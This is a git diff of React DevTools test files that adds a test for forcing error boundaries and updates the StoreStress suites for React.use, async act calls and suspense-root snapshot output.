diff --git a/packages/react-devtools-shared/src/__tests__/storeForceError-test.js b/packages/react-devtools-shared/src/__tests__/storeForceError-test.js
new file mode 100644
index 000000000000..16ae50d6f028
--- /dev/null
+++ b/packages/react-devtools-shared/src/__tests__/storeForceError-test.js
@@ -0,0 +1,106 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import type Store from 'react-devtools-shared/src/devtools/store';
+
+import {getVersionedRenderImplementation} from './utils';
+
+describe('Store forcing errors', () => {
+  let React;
+  let agent;
+  let store: Store;
+  let utils;
+  let actAsync;
+
+  beforeEach(() => {
+    agent = global.agent;
+    store = global.store;
+    store.collapseNodesByDefault = false;
+    store.componentFilters = [];
+    store.recordChangeDescriptions = true;
+
+    React = require('react');
+    utils = require('./utils');
+
+    actAsync = utils.actAsync;
+  });
+
+  const {render} = getVersionedRenderImplementation();
+
+  // @reactVersion >= 18.0
+  it('resets forced error and fallback states when filters are changed', async () => {
+    class AnyClassComponent extends React.Component {
+      render() {
+        return this.props.children;
+      }
+    }
+
+    class ErrorBoundary extends React.Component {
+      state = {hasError: false};
+
+      static getDerivedStateFromError() {
+        return {hasError: true};
+      }
+
+      render() {
+        if (this.state.hasError) {
+          return (
+            <AnyClassComponent key="fallback">
+              <div key="did-error" />
+            </AnyClassComponent>
+          );
+        }
+        return this.props.children;
+      }
+    }
+
+    function App() {
+      return (
+        <ErrorBoundary key="content">
+          <div key="error-content" />
+        </ErrorBoundary>
+      );
+    }
+
+    await actAsync(async () => {
+      render(<App />);
+    });
+    const rendererID = utils.getRendererID();
+    await actAsync(() => {
+      agent.overrideError({
+        id: store.getElementIDAtIndex(2),
+        rendererID,
+        forceError: true,
+      });
+    });
+
+    expect(store).toMatchInlineSnapshot(`
+      [root]
+        ▾ <App>
+          ▾ <ErrorBoundary key="content">
+            ▾ <AnyClassComponent key="fallback">
+                <div key="did-error">
+    `);
+
+    await actAsync(() => {
+      agent.overrideError({
+        id: store.getElementIDAtIndex(2),
+        rendererID,
+        forceError: false,
+      });
+    });
+
+    expect(store).toMatchInlineSnapshot(`
+      [root]
+        ▾ <App>
+          ▾ <ErrorBoundary key="content">
+              <div key="error-content">
+    `);
+  });
+});
diff --git a/packages/react-devtools-shared/src/__tests__/storeStressSync-test.js b/packages/react-devtools-shared/src/__tests__/storeStressSync-test.js
index 585499fd81a6..db93c280cdf4 100644
--- a/packages/react-devtools-shared/src/__tests__/storeStressSync-test.js
+++ b/packages/react-devtools-shared/src/__tests__/storeStressSync-test.js
@@ -16,6 +16,35 @@ describe('StoreStress (Legacy Mode)', () => {
   let store;
   let print;
 
+  function readValue(promise) {
+    if (typeof React.use === 'function') {
+      return React.use(promise);
+    }
+
+    // Support for React < 19.0
+    switch (promise.status) {
+      case 'fulfilled':
+        return promise.value;
+      case 'rejected':
+        throw promise.reason;
+      case 'pending':
+        throw promise;
+      default:
+        promise.status = 'pending';
+        promise.then(
+          value => {
+            promise.status = 'fulfilled';
+            promise.value = value;
+          },
+          reason => {
+            promise.status = 'rejected';
+            promise.reason = reason;
+          },
+        );
+        throw promise;
+    }
+  }
+
   beforeEach(() => {
     bridge = global.bridge;
     store = global.store;
@@ -415,114 +444,116 @@ describe('StoreStress (Legacy Mode)', () => {
       a,
     ];
 
+    // Excluding Suspense tree here due to different measurement semantics for fallbacks
     const stepsSnapshot = [
       `
-        [root]
+        "[root]
           ▾ <Root>
               <X>
             ▾ <Suspense>
                 <A key="a">
-              <Y>
+              <Y>"
       `,
       `
-        [root]
+        "[root]
           ▾ <Root>
               <X>
             ▾ <Suspense>
                 <A key="a">
-              <Y>
+              <Y>"
       `,
       `
-        [root]
+        "[root]
           ▾ <Root>
               <X>
             ▾ <Suspense>
                 <A key="a">
                 <B key="b">
                 <C key="c">
-              <Y>
+              <Y>"
       `,
       `
-        [root]
+        "[root]
           ▾ <Root>
               <X>
             ▾ <Suspense>
                 <C key="c">
                 <B key="b">
                 <A key="a">
-              <Y>
+              <Y>"
       `,
       `
-        [root]
+        "[root]
           ▾ <Root>
               <X>
             ▾ <Suspense>
                 <C key="c">
                 <A key="a">
-              <Y>
+              <Y>"
       `,
       `
-        [root]
+        "[root]
           ▾ <Root>
               <X>
             ▾ <Suspense>
                 <C key="c">
                 <A key="a">
-              <Y>
+              <Y>"
       `,
       `
-        [root]
+        "[root]
           ▾ <Root>
               <X>
             ▾ <Suspense>
                 <C key="c">
                 <A key="a">
-              <Y>
+              <Y>"
       `,
       `
-        [root]
+        "[root]
           ▾ <Root>
               <X>
             ▾ <Suspense>
                 <A key="a">
                 <B key="b">
-              <Y>
+              <Y>"
       `,
       `
-        [root]
+        "[root]
           ▾ <Root>
               <X>
             ▾ <Suspense>
                 <A key="a">
-              <Y>
+              <Y>"
       `,
       `
-        [root]
+        "[root]
           ▾ <Root>
               <X>
               <Suspense>
-              <Y>
+              <Y>"
       `,
       `
-        [root]
+        "[root]
           ▾ <Root>
               <X>
             ▾ <Suspense>
                 <B key="b">
-              <Y>
+              <Y>"
       `,
       `
-        [root]
+        "[root]
           ▾ <Root>
               <X>
             ▾ <Suspense>
                 <A key="a">
-              <Y>
+              <Y>"
       `,
     ];
 
+    const never = new Promise(() => {});
     const Never = () => {
-      throw new Promise(() => {});
+      readValue(never);
     };
 
     const Root = ({children}) => {
@@ -545,8 +576,10 @@ describe('StoreStress (Legacy Mode)', () => {
         ),
       );
       // We snapshot each step once so it doesn't regress.
-      expect(store).toMatchInlineSnapshot(stepsSnapshot[i]);
-      snapshots.push(print(store));
+      expect(print(store, undefined, undefined, false)).toMatchInlineSnapshot(
+        stepsSnapshot[i],
+      );
+      snapshots.push(print(store, undefined, undefined, false));
       act(() => unmount());
       expect(print(store)).toBe('');
     }
@@ -568,7 +601,7 @@ describe('StoreStress (Legacy Mode)', () => {
           </Root>,
         ),
       );
-      expect(print(store)).toEqual(snapshots[i]);
+      expect(print(store, undefined, undefined, false)).toEqual(snapshots[i]);
       act(() => unmount());
       expect(print(store)).toBe('');
     }
@@ -588,7 +621,7 @@ describe('StoreStress (Legacy Mode)', () => {
             </Root>,
           ),
         );
-        expect(print(store)).toEqual(snapshots[i]);
+        expect(print(store, undefined, undefined, false)).toEqual(snapshots[i]);
         // Re-render with steps[j].
         act(() =>
           render(
@@ -600,7 +633,7 @@ describe('StoreStress (Legacy Mode)', () => {
           ),
         );
         // Verify the successful transition to steps[j].
-        expect(print(store)).toEqual(snapshots[j]);
+        expect(print(store, undefined, undefined, false)).toEqual(snapshots[j]);
         // Check that we can transition back again.
         act(() =>
           render(
@@ -611,7 +644,7 @@ describe('StoreStress (Legacy Mode)', () => {
             </Root>,
           ),
         );
-        expect(print(store)).toEqual(snapshots[i]);
+        expect(print(store, undefined, undefined, false)).toEqual(snapshots[i]);
         // Clean up after every iteration.
         act(() => unmount());
         expect(print(store)).toBe('');
@@ -637,7 +670,7 @@ describe('StoreStress (Legacy Mode)', () => {
             </Root>,
           ),
         );
-        expect(print(store)).toEqual(snapshots[i]);
+        expect(print(store, undefined, undefined, false)).toEqual(snapshots[i]);
         // Re-render with steps[j].
         act(() =>
           render(
@@ -653,7 +686,7 @@ describe('StoreStress (Legacy Mode)', () => {
           ),
         );
         // Verify the successful transition to steps[j].
-        expect(print(store)).toEqual(snapshots[j]);
+        expect(print(store, undefined, undefined, false)).toEqual(snapshots[j]);
         // Check that we can transition back again.
         act(() =>
           render(
@@ -668,7 +701,7 @@ describe('StoreStress (Legacy Mode)', () => {
             </Root>,
           ),
         );
-        expect(print(store)).toEqual(snapshots[i]);
+        expect(print(store, undefined, undefined, false)).toEqual(snapshots[i]);
         // Clean up after every iteration.
         act(() => unmount());
         expect(print(store)).toBe('');
@@ -690,7 +723,7 @@ describe('StoreStress (Legacy Mode)', () => {
             </Root>,
           ),
         );
-        expect(print(store)).toEqual(snapshots[i]);
+        expect(print(store, undefined, undefined, false)).toEqual(snapshots[i]);
         // Re-render with steps[j].
         act(() =>
           render(
@@ -706,7 +739,7 @@ describe('StoreStress (Legacy Mode)', () => {
           ),
         );
         // Verify the successful transition to steps[j].
-        expect(print(store)).toEqual(snapshots[j]);
+        expect(print(store, undefined, undefined, false)).toEqual(snapshots[j]);
         // Check that we can transition back again.
         act(() =>
           render(
@@ -717,7 +750,7 @@ describe('StoreStress (Legacy Mode)', () => {
             </Root>,
           ),
         );
-        expect(print(store)).toEqual(snapshots[i]);
+        expect(print(store, undefined, undefined, false)).toEqual(snapshots[i]);
         // Clean up after every iteration.
         act(() => unmount());
         expect(print(store)).toBe('');
@@ -743,7 +776,7 @@ describe('StoreStress (Legacy Mode)', () => {
             </Root>,
           ),
         );
-        expect(print(store)).toEqual(snapshots[i]);
+        expect(print(store, undefined, undefined, false)).toEqual(snapshots[i]);
         // Re-render with steps[j].
         act(() =>
           render(
@@ -755,7 +788,7 @@ describe('StoreStress (Legacy Mode)', () => {
           ),
         );
         // Verify the successful transition to steps[j].
-        expect(print(store)).toEqual(snapshots[j]);
+        expect(print(store, undefined, undefined, false)).toEqual(snapshots[j]);
         // Check that we can transition back again.
         act(() =>
           render(
@@ -770,7 +803,7 @@ describe('StoreStress (Legacy Mode)', () => {
             </Root>,
           ),
         );
-        expect(print(store)).toEqual(snapshots[i]);
+        expect(print(store, undefined, undefined, false)).toEqual(snapshots[i]);
         // Clean up after every iteration.
         act(() => unmount());
         expect(print(store)).toBe('');
@@ -799,7 +832,7 @@ describe('StoreStress (Legacy Mode)', () => {
         const suspenseID = store.getElementIDAtIndex(2);
 
         // Force fallback.
-        expect(print(store)).toEqual(snapshots[i]);
+        expect(print(store, undefined, undefined, false)).toEqual(snapshots[i]);
         act(() => {
           bridge.send('overrideSuspense', {
             id: suspenseID,
@@ -807,7 +840,7 @@ describe('StoreStress (Legacy Mode)', () => {
             forceFallback: true,
           });
         });
-        expect(print(store)).toEqual(snapshots[j]);
+        expect(print(store, undefined, undefined, false)).toEqual(snapshots[j]);
 
         // Stop forcing fallback.
         act(() => {
@@ -817,7 +850,7 @@ describe('StoreStress (Legacy Mode)', () => {
             forceFallback: false,
           });
         });
-        expect(print(store)).toEqual(snapshots[i]);
+        expect(print(store, undefined, undefined, false)).toEqual(snapshots[i]);
 
         // Trigger actual fallback.
         act(() =>
@@ -833,7 +866,7 @@ describe('StoreStress (Legacy Mode)', () => {
             </Root>,
           ),
         );
-        expect(print(store)).toEqual(snapshots[j]);
+        expect(print(store, undefined, undefined, false)).toEqual(snapshots[j]);
 
         // Force fallback while we're in fallback mode.
         act(() => {
@@ -844,7 +877,7 @@ describe('StoreStress (Legacy Mode)', () => {
           });
         });
         // Keep seeing fallback content.
-        expect(print(store)).toEqual(snapshots[j]);
+        expect(print(store, undefined, undefined, false)).toEqual(snapshots[j]);
 
         // Switch to primary mode.
         act(() =>
@@ -857,7 +890,7 @@ describe('StoreStress (Legacy Mode)', () => {
           ),
         );
         // Fallback is still forced though.
-        expect(print(store)).toEqual(snapshots[j]);
+        expect(print(store, undefined, undefined, false)).toEqual(snapshots[j]);
 
         // Stop forcing fallback. This reverts to primary content.
         act(() => {
@@ -868,7 +901,7 @@ describe('StoreStress (Legacy Mode)', () => {
           });
         });
         // Now we see primary content.
-        expect(print(store)).toEqual(snapshots[i]);
+        expect(print(store, undefined, undefined, false)).toEqual(snapshots[i]);
 
         // Clean up after every iteration.
         act(() => unmount());
@@ -917,6 +950,8 @@ describe('StoreStress (Legacy Mode)', () => {
                   <A key="a">
                   <Z>
               <Y>
+        [suspense-root]  rects={[]}
+          <Suspense name="Unknown" rects={[]}>
       `,
       `
         [root]
@@ -927,6 +962,8 @@ describe('StoreStress (Legacy Mode)', () => {
                   <A key="a">
                   <Z>
               <Y>
+        [suspense-root]  rects={[]}
+          <Suspense name="Unknown" rects={[]}>
       `,
       `
         [root]
@@ -939,6 +976,8 @@ describe('StoreStress (Legacy Mode)', () => {
                   <C key="c">
                   <Z>
               <Y>
+        [suspense-root]  rects={[]}
+          <Suspense name="Unknown" rects={[]}>
       `,
       `
         [root]
@@ -951,6 +990,8 @@ describe('StoreStress (Legacy Mode)', () => {
                   <A key="a">
                   <Z>
               <Y>
+        [suspense-root]  rects={[]}
+          <Suspense name="Unknown" rects={[]}>
       `,
       `
         [root]
@@ -962,6 +1003,8 @@ describe('StoreStress (Legacy Mode)', () => {
                   <A key="a">
                   <Z>
               <Y>
+        [suspense-root]  rects={[]}
+          <Suspense name="Unknown" rects={[]}>
       `,
       `
         [root]
@@ -973,6 +1016,8 @@ describe('StoreStress (Legacy Mode)', () => {
                   <A key="a">
                   <Z>
               <Y>
+        [suspense-root]  rects={[]}
+          <Suspense name="Unknown" rects={[]}>
       `,
       `
         [root]
@@ -984,6 +1029,8 @@ describe('StoreStress (Legacy Mode)', () => {
                   <A key="a">
                   <Z>
               <Y>
+        [suspense-root]  rects={[]}
+          <Suspense name="Unknown" rects={[]}>
       `,
       `
         [root]
@@ -995,6 +1042,8 @@ describe('StoreStress (Legacy Mode)', () => {
                   <B key="b">
                   <Z>
               <Y>
+        [suspense-root]  rects={[]}
+          <Suspense name="Unknown" rects={[]}>
       `,
       `
         [root]
@@ -1005,6 +1054,8 @@ describe('StoreStress (Legacy Mode)', () => {
                   <A key="a">
                   <Z>
               <Y>
+        [suspense-root]  rects={[]}
+          <Suspense name="Unknown" rects={[]}>
       `,
       `
         [root]
@@ -1014,6 +1065,8 @@ describe('StoreStress (Legacy Mode)', () => {
               ▾ <MaybeSuspend>
                   <Z>
               <Y>
+        [suspense-root]  rects={[]}
+          <Suspense name="Unknown" rects={[]}>
       `,
       `
         [root]
@@ -1024,6 +1077,8 @@ describe('StoreStress (Legacy Mode)', () => {
                   <B key="b">
                   <Z>
               <Y>
+        [suspense-root]  rects={[]}
+          <Suspense name="Unknown" rects={[]}>
       `,
       `
         [root]
@@ -1034,6 +1089,8 @@ describe('StoreStress (Legacy Mode)', () => {
                   <A key="a">
                   <Z>
               <Y>
+        [suspense-root]  rects={[]}
+          <Suspense name="Unknown" rects={[]}>
       `,
     ];
 
@@ -1045,6 +1102,8 @@ describe('StoreStress (Legacy Mode)', () => {
             ▾ <Suspense>
                 <A key="a">
               <Y>
+        [suspense-root]  rects={[]}
+          <Suspense name="Unknown" rects={null}>
       `,
       `
         [root]
@@ -1053,6 +1112,8 @@ describe('StoreStress (Legacy Mode)', () => {
             ▾ <Suspense>
                 <A key="a">
               <Y>
+        [suspense-root]  rects={[]}
+          <Suspense name="Unknown" rects={null}>
       `,
       `
         [root]
@@ -1063,6 +1124,8 @@ describe('StoreStress (Legacy Mode)', () => {
                 <B key="b">
                 <C key="c">
               <Y>
+        [suspense-root]  rects={[]}
+          <Suspense name="Unknown" rects={null}>
       `,
       `
         [root]
@@ -1073,6 +1136,8 @@ describe('StoreStress (Legacy Mode)', () => {
                 <B key="b">
                 <A key="a">
               <Y>
+        [suspense-root]  rects={[]}
+          <Suspense name="Unknown" rects={null}>
       `,
       `
         [root]
@@ -1082,6 +1147,8 @@ describe('StoreStress (Legacy Mode)', () => {
                 <C key="c">
                 <A key="a">
               <Y>
+        [suspense-root]  rects={[]}
+          <Suspense name="Unknown" rects={null}>
       `,
       `
         [root]
@@ -1091,6 +1158,8 @@ describe('StoreStress (Legacy Mode)', () => {
                 <C key="c">
                 <A key="a">
               <Y>
+        [suspense-root]  rects={[]}
+          <Suspense name="Unknown" rects={null}>
       `,
       `
         [root]
@@ -1100,6 +1169,8 @@ describe('StoreStress (Legacy Mode)', () => {
                 <C key="c">
                 <A key="a">
               <Y>
+        [suspense-root]  rects={[]}
+          <Suspense name="Unknown" rects={null}>
       `,
       `
         [root]
@@ -1109,6 +1180,8 @@ describe('StoreStress (Legacy Mode)', () => {
                 <A key="a">
                 <B key="b">
               <Y>
+        [suspense-root]  rects={[]}
+          <Suspense name="Unknown" rects={null}>
       `,
       `
         [root]
@@ -1117,6 +1190,8 @@ describe('StoreStress (Legacy Mode)', () => {
             ▾ <Suspense>
                 <A key="a">
               <Y>
+        [suspense-root]  rects={[]}
+          <Suspense name="Unknown" rects={null}>
       `,
       `
         [root]
@@ -1124,6 +1199,8 @@ describe('StoreStress (Legacy Mode)', () => {
               <X>
               <Suspense>
               <Y>
+        [suspense-root]  rects={[]}
+          <Suspense name="Unknown" rects={null}>
       `,
       `
         [root]
@@ -1132,6 +1209,8 @@ describe('StoreStress (Legacy Mode)', () => {
             ▾ <Suspense>
                 <B key="b">
               <Y>
+        [suspense-root]  rects={[]}
+          <Suspense name="Unknown" rects={null}>
       `,
       `
         [root]
@@ -1140,11 +1219,14 @@ describe('StoreStress (Legacy Mode)', () => {
             ▾ <Suspense>
                 <A key="a">
               <Y>
+        [suspense-root]  rects={[]}
+          <Suspense name="Unknown" rects={null}>
       `,
     ];
 
+    const never = new Promise(() => {});
     const Never = () => {
-      throw new Promise(() => {});
+      readValue(never);
     };
 
     const MaybeSuspend = ({children, suspend}) => {
@@ -1216,7 +1298,7 @@ describe('StoreStress (Legacy Mode)', () => {
       );
       // We snapshot each step once so it doesn't regress.
       expect(store).toMatchInlineSnapshot(stepsSnapshotTwo[i]);
-      fallbackSnapshots.push(print(store));
+      fallbackSnapshots.push(print(store, undefined, undefined, false));
       act(() => unmount());
       expect(print(store)).toBe('');
     }
@@ -1294,7 +1376,9 @@ describe('StoreStress (Legacy Mode)', () => {
             </Root>,
           ),
         );
-        expect(print(store)).toEqual(fallbackSnapshots[i]);
+        expect(print(store, undefined, undefined, false)).toEqual(
+          fallbackSnapshots[i],
+        );
         // Re-render with steps[j].
         act(() =>
           render(
@@ -1313,7 +1397,9 @@ describe('StoreStress (Legacy Mode)', () => {
           ),
         );
         // Verify the successful transition to steps[j].
-        expect(print(store)).toEqual(fallbackSnapshots[j]);
+        expect(print(store, undefined, undefined, false)).toEqual(
+          fallbackSnapshots[j],
+        );
         // Check that we can transition back again.
         act(() =>
           render(
@@ -1331,7 +1417,9 @@ describe('StoreStress (Legacy Mode)', () => {
             </Root>,
           ),
         );
-        expect(print(store)).toEqual(fallbackSnapshots[i]);
+        expect(print(store, undefined, undefined, false)).toEqual(
+          fallbackSnapshots[i],
+        );
         // Clean up after every iteration.
         act(() => unmount());
         expect(print(store)).toBe('');
@@ -1369,7 +1457,9 @@ describe('StoreStress (Legacy Mode)', () => {
           ),
         );
         // Verify the successful transition to steps[j].
-        expect(print(store)).toEqual(fallbackSnapshots[j]);
+        expect(print(store, undefined, undefined, false)).toEqual(
+          fallbackSnapshots[j],
+        );
         // Check that we can transition back again.
         act(() =>
           render(
@@ -1406,7 +1496,9 @@ describe('StoreStress (Legacy Mode)', () => {
             </Root>,
           ),
         );
-        expect(print(store)).toEqual(fallbackSnapshots[i]);
+        expect(print(store, undefined, undefined, false)).toEqual(
+          fallbackSnapshots[i],
+        );
         // Re-render with steps[j].
         act(() =>
           render(
@@ -1433,7 +1525,9 @@ describe('StoreStress (Legacy Mode)', () => {
             </Root>,
           ),
         );
-        expect(print(store)).toEqual(fallbackSnapshots[i]);
+        expect(print(store, undefined, undefined, false)).toEqual(
+          fallbackSnapshots[i],
+        );
         // Clean up after every iteration.
         act(() => unmount());
         expect(print(store)).toBe('');
@@ -1472,7 +1566,9 @@ describe('StoreStress (Legacy Mode)', () => {
             forceFallback: true,
           });
         });
-        expect(print(store)).toEqual(fallbackSnapshots[j]);
+        expect(print(store, undefined, undefined, false)).toEqual(
+          fallbackSnapshots[j],
+        );
 
         // Stop forcing fallback.
         act(() => {
@@ -1496,7 +1592,9 @@ describe('StoreStress (Legacy Mode)', () => {
             </Root>,
           ),
         );
-        expect(print(store)).toEqual(fallbackSnapshots[j]);
+        expect(print(store, undefined, undefined, false)).toEqual(
+          fallbackSnapshots[j],
+        );
 
         // Force fallback while we're in fallback mode.
         act(() => {
@@ -1507,7 +1605,9 @@ describe('StoreStress (Legacy Mode)', () => {
           });
         });
         // Keep seeing fallback content.
-        expect(print(store)).toEqual(fallbackSnapshots[j]);
+        expect(print(store, undefined, undefined, false)).toEqual(
+          fallbackSnapshots[j],
+        );
 
         // Switch to primary mode.
         act(() =>
@@ -1522,7 +1622,9 @@ describe('StoreStress (Legacy Mode)', () => {
           ),
         );
         // Fallback is still forced though.
-        expect(print(store)).toEqual(fallbackSnapshots[j]);
+        expect(print(store, undefined, undefined, false)).toEqual(
+          fallbackSnapshots[j],
+        );
 
         // Stop forcing fallback. This reverts to primary content.
         act(() => {
diff --git a/packages/react-devtools-shared/src/__tests__/storeStressTestConcurrent-test.js b/packages/react-devtools-shared/src/__tests__/storeStressTestConcurrent-test.js
index 472ad31671a7..e060cb3f06ba 100644
--- a/packages/react-devtools-shared/src/__tests__/storeStressTestConcurrent-test.js
+++ b/packages/react-devtools-shared/src/__tests__/storeStressTestConcurrent-test.js
@@ -16,6 +16,8 @@ describe('StoreStressConcurrent', () => {
   let store;
   let print;
 
+  jest.setTimeout(15000);
+
   beforeEach(() => {
     global.IS_REACT_ACT_ENVIRONMENT = true;
 
@@ -30,13 +32,13 @@ describe('StoreStressConcurrent', () => {
     // this helper with the real thing.
     actAsync = require('./utils').actAsync;
 
-    print = require('./__serializers__/storeSerializer').print;
+    print = require('./__serializers__/storeSerializer').printStore;
   });
 
   // This is a stress test for the tree mount/update/unmount traversal.
   // It renders different trees that should produce the same output.
   // @reactVersion >= 18.0
-  it('should handle a stress test with different tree operations (Concurrent Mode)', () => {
+  it('should handle a stress test with different tree operations (Concurrent Mode)', async () => {
     let setShowX;
     const A = () => 'a';
     const B = () => 'b';
@@ -65,8 +67,7 @@ describe('StoreStressConcurrent', () => {
     let container = document.createElement('div');
     let root = ReactDOMClient.createRoot(container);
     act(() => root.render(<Parent>{[a, b, c, d, e]}</Parent>));
-    expect(store).toMatchInlineSnapshot(
-      `
+    expect(store).toMatchInlineSnapshot(`
       [root]
         ▾ <Parent>
             <A key="a">
@@ -74,8 +75,7 @@ describe('StoreStressConcurrent', () => {
             <C key="c">
             <D key="d">
             <E key="e">
-    `,
-    );
+    `);
     expect(container.textContent).toMatch('abcde');
     const snapshotForABCDE = print(store);
 
@@ -84,8 +84,7 @@ describe('StoreStressConcurrent', () => {
     act(() => {
       setShowX(true);
     });
-    expect(store).toMatchInlineSnapshot(
-      `
+    expect(store).toMatchInlineSnapshot(`
       [root]
         ▾ <Parent>
             <A key="a">
@@ -94,8 +93,7 @@ describe('StoreStressConcurrent', () => {
               <X>
             <D key="d">
             <E key="e">
-    `,
-    );
+    `);
     expect(container.textContent).toMatch('abxde');
     const snapshotForABXDE = print(store);
 
@@ -149,26 +147,26 @@ describe('StoreStressConcurrent', () => {
       root = ReactDOMClient.createRoot(container);
 
       // Verify mounting 'abcde'.
-      act(() => root.render(<Parent>{cases[i]}</Parent>));
+      await act(() => root.render(<Parent>{cases[i]}</Parent>));
       expect(container.textContent).toMatch('abcde');
       expect(print(store)).toEqual(snapshotForABCDE);
 
       // Verify switching to 'abxde'.
-      act(() => {
+      await act(() => {
         setShowX(true);
       });
       expect(container.textContent).toMatch('abxde');
       expect(print(store)).toBe(snapshotForABXDE);
 
       // Verify switching back to 'abcde'.
-      act(() => {
+      await act(() => {
         setShowX(false);
       });
       expect(container.textContent).toMatch('abcde');
       expect(print(store)).toBe(snapshotForABCDE);
 
       // Clean up.
-      act(() => root.unmount());
+      await act(() => root.unmount());
       expect(print(store)).toBe('');
     }
 
@@ -178,19 +176,19 @@ describe('StoreStressConcurrent', () => {
     root = ReactDOMClient.createRoot(container);
     for (let i = 0; i < cases.length; i++) {
       // Verify mounting 'abcde'.
-      act(() => root.render(<Parent>{cases[i]}</Parent>));
+      await act(() => root.render(<Parent>{cases[i]}</Parent>));
       expect(container.textContent).toMatch('abcde');
       expect(print(store)).toEqual(snapshotForABCDE);
 
       // Verify switching to 'abxde'.
-      act(() => {
+      await act(() => {
         setShowX(true);
       });
       expect(container.textContent).toMatch('abxde');
       expect(print(store)).toBe(snapshotForABXDE);
 
       // Verify switching back to 'abcde'.
-      act(() => {
+      await act(() => {
         setShowX(false);
       });
       expect(container.textContent).toMatch('abcde');
@@ -202,7 +200,7 @@ describe('StoreStressConcurrent', () => {
   });
 
   // @reactVersion >= 18.0
-  it('should handle stress test with reordering (Concurrent Mode)', () => {
+  it('should handle stress test with reordering (Concurrent Mode)', async () => {
     const A = () => 'a';
     const B = () => 'b';
     const C = () => 'c';
@@ -243,10 +241,10 @@ describe('StoreStressConcurrent', () => {
     let container = document.createElement('div');
     for (let i = 0; i < steps.length; i++) {
       const root = ReactDOMClient.createRoot(container);
-      act(() => root.render(<Root>{steps[i]}</Root>));
+      await act(() => root.render(<Root>{steps[i]}</Root>));
       // We snapshot each step once so it doesn't regress.
       snapshots.push(print(store));
-      act(() => root.unmount());
+      await act(() => root.unmount());
       expect(print(store)).toBe('');
     }
 
@@ -314,13 +312,13 @@ describe('StoreStressConcurrent', () => {
       for (let j = 0; j < steps.length; j++) {
         container = document.createElement('div');
         const root = ReactDOMClient.createRoot(container);
-        act(() => root.render(<Root>{steps[i]}</Root>));
+        await act(() => root.render(<Root>{steps[i]}</Root>));
         expect(print(store)).toMatch(snapshots[i]);
-        act(() => root.render(<Root>{steps[j]}</Root>));
+        await act(() => root.render(<Root>{steps[j]}</Root>));
         expect(print(store)).toMatch(snapshots[j]);
-        act(() => root.render(<Root>{steps[i]}</Root>));
+        await act(() => root.render(<Root>{steps[i]}</Root>));
         expect(print(store)).toMatch(snapshots[i]);
-        act(() => root.unmount());
+        await act(() => root.unmount());
         expect(print(store)).toBe('');
       }
     }
@@ -330,7 +328,7 @@ describe('StoreStressConcurrent', () => {
       for (let j = 0; j < steps.length; j++) {
         container = document.createElement('div');
         const root = ReactDOMClient.createRoot(container);
-        act(() =>
+        await act(() =>
           root.render(
             <Root>
               <div>{steps[i]}</div>
@@ -338,7 +336,7 @@ describe('StoreStressConcurrent', () => {
           ),
         );
         expect(print(store)).toMatch(snapshots[i]);
-        act(() =>
+        await act(() =>
           root.render(
             <Root>
               <div>{steps[j]}</div>
@@ -346,7 +344,7 @@ describe('StoreStressConcurrent', () => {
           ),
         );
         expect(print(store)).toMatch(snapshots[j]);
-        act(() =>
+        await act(() =>
           root.render(
             <Root>
               <div>{steps[i]}</div>
@@ -354,7 +352,7 @@ describe('StoreStressConcurrent', () => {
           ),
         );
         expect(print(store)).toMatch(snapshots[i]);
-        act(() => root.unmount());
+        await act(() => root.unmount());
         expect(print(store)).toBe('');
       }
     }
@@ -390,7 +388,11 @@ describe('StoreStressConcurrent', () => {
     ];
 
     const Never = () => {
-      throw new Promise(() => {});
+      if (React.use) {
+        React.use(new Promise(() => {}));
+      } else {
+        throw new Promise(() => {});
+      }
     };
 
     const Root = ({children}) => {
@@ -403,7 +405,7 @@ describe('StoreStressConcurrent', () => {
     let container = document.createElement('div');
     for (let i = 0; i < steps.length; i++) {
       const root = ReactDOMClient.createRoot(container);
-      act(() =>
+      await act(() =>
         root.render(
           <Root>
             <X />
@@ -413,8 +415,8 @@ describe('StoreStressConcurrent', () => {
         ),
       );
       // We snapshot each step once so it doesn't regress.d
-      snapshots.push(print(store));
-      act(() => root.unmount());
+      snapshots.push(print(store, false, null, false));
+      await act(() => root.unmount());
       expect(print(store)).toBe('');
     }
 
@@ -505,7 +507,7 @@ describe('StoreStressConcurrent', () => {
     // 2. Verify check Suspense can render same steps as initial fallback content.
     for (let i = 0; i < steps.length; i++) {
       const root = ReactDOMClient.createRoot(container);
-      act(() =>
+      await act(() =>
         root.render(
           <Root>
             <X />
@@ -518,8 +520,8 @@ describe('StoreStressConcurrent', () => {
           </Root>,
         ),
       );
-      expect(print(store)).toEqual(snapshots[i]);
-      act(() => root.unmount());
+      expect(print(store, false, null, false)).toEqual(snapshots[i]);
+      await act(() => root.unmount());
       expect(print(store)).toBe('');
     }
 
@@ -529,7 +531,7 @@ describe('StoreStressConcurrent', () => {
         // Always start with a fresh container and steps[i].
         container = document.createElement('div');
         const root = ReactDOMClient.createRoot(container);
-        act(() =>
+        await act(() =>
           root.render(
             <Root>
               <X />
@@ -538,9 +540,9 @@ describe('StoreStressConcurrent', () => {
             </Root>,
           ),
         );
-        expect(print(store)).toEqual(snapshots[i]);
+        expect(print(store, false, null, false)).toEqual(snapshots[i]);
         // Re-render with steps[j].
-        act(() =>
+        await act(() =>
           root.render(
             <Root>
               <X />
@@ -550,9 +552,9 @@ describe('StoreStressConcurrent', () => {
           ),
         );
         // Verify the successful transition to steps[j].
-        expect(print(store)).toEqual(snapshots[j]);
+        expect(print(store, false, null, false)).toEqual(snapshots[j]);
         // Check that we can transition back again.
-        act(() =>
+        await act(() =>
           root.render(
             <Root>
               <X />
@@ -561,9 +563,9 @@ describe('StoreStressConcurrent', () => {
             </Root>,
           ),
         );
-        expect(print(store)).toEqual(snapshots[i]);
+        expect(print(store, false, null, false)).toEqual(snapshots[i]);
         // Clean up after every iteration.
-        act(() => root.unmount());
+        await act(() => root.unmount());
         expect(print(store)).toBe('');
       }
     }
@@ -574,7 +576,7 @@ describe('StoreStressConcurrent', () => {
         // Always start with a fresh container and steps[i].
         container = document.createElement('div');
         const root = ReactDOMClient.createRoot(container);
-        act(() =>
+        await act(() =>
           root.render(
             <Root>
               <X />
@@ -587,9 +589,9 @@ describe('StoreStressConcurrent', () => {
             </Root>,
           ),
         );
-        expect(print(store)).toEqual(snapshots[i]);
+        expect(print(store, false, null, false)).toEqual(snapshots[i]);
         // Re-render with steps[j].
-        act(() =>
+        await act(() =>
           root.render(
             <Root>
               <X />
@@ -603,9 +605,9 @@ describe('StoreStressConcurrent', () => {
           ),
         );
         // Verify the successful transition to steps[j].
